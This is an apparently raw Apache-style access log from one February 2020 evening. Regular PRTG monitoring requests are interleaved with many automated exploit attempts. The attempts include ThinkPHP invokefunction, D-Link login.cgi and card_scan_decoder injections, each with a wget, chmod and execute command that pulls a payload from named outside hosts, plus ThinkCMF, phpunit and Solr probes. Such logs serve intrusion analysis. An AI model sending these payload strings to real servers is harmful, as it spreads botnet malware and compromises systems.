49.235.146.76 - - [02/Feb/2020:22:01:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.117 - - [02/Feb/2020:22:04:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.17.34 - - [02/Feb/2020:22:06:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.35.43 - - [02/Feb/2020:22:06:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.82.140.154 - - [02/Feb/2020:22:08:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.51.133.234 - - [02/Feb/2020:22:08:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [02/Feb/2020:22:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
89.148.198.151 - - [02/Feb/2020:22:14:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.211.238 - - [02/Feb/2020:22:17:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.26.59 - - [02/Feb/2020:22:18:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [02/Feb/2020:22:18:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:22:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.26.198 - - [02/Feb/2020:22:20:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.118.100.152 - - [02/Feb/2020:22:20:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
218.235.187.9 - - [02/Feb/2020:22:20:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.46.16 - - [02/Feb/2020:22:22:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [02/Feb/2020:22:22:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
188.227.58.124 - - [02/Feb/2020:22:23:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
43.225.169.128 - - [02/Feb/2020:22:23:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:22:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [02/Feb/2020:22:24:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.101.0.209 - - [02/Feb/2020:22:25:09 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:22:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:22:25:50 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:22:25:50 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
102.40.92.187 - - [02/Feb/2020:22:26:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.89.214.76 - - [02/Feb/2020:22:26:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.52.6.195 - - [02/Feb/2020:22:26:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [02/Feb/2020:22:26:26 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:22:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [02/Feb/2020:22:26:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
182.138.154.218 - - [02/Feb/2020:22:27:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.14.210.73 - - [02/Feb/2020:22:29:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:22:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.232.142.112 - - [02/Feb/2020:22:29:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [02/Feb/2020:22:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:22:32:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
183.80.89.52 - - [02/Feb/2020:22:33:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.59.104 - - [02/Feb/2020:22:34:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.82.246 - - [02/Feb/2020:22:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.67.223.231 - - [02/Feb/2020:22:38:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.80.243.138 - - [02/Feb/2020:22:39:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.96.237.174 - - [02/Feb/2020:22:40:21 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [02/Feb/2020:22:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [02/Feb/2020:22:41:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:22:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [02/Feb/2020:22:44:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.143.220.189 - - [02/Feb/2020:22:44:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
178.73.215.171 - - [02/Feb/2020:22:45:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:22:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.244.176 - - [02/Feb/2020:22:45:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.54.117 - - [02/Feb/2020:22:47:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.72.206.126 - - [02/Feb/2020:22:47:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:22:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.150.26.14 - - [02/Feb/2020:22:47:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.79.244.102 - - [02/Feb/2020:22:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
45.143.220.189 - - [02/Feb/2020:22:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [02/Feb/2020:22:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.204.218.139 - - [02/Feb/2020:22:53:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.117.137.85 - - [02/Feb/2020:22:53:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [02/Feb/2020:22:55:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:22:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
50.253.33.146 - - [02/Feb/2020:22:56:51 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [02/Feb/2020:22:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [02/Feb/2020:22:57:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:22:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:22:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [02/Feb/2020:23:03:58 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:23:03:59 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
46.118.121.248 - - [02/Feb/2020:23:03:59 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"
212.91.246.72 - - [02/Feb/2020:23:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.235 - - [02/Feb/2020:23:04:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:23:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.210.39.125 - - [02/Feb/2020:23:07:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:23:07:06 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [02/Feb/2020:23:08:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:23:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [02/Feb/2020:23:08:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:23:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
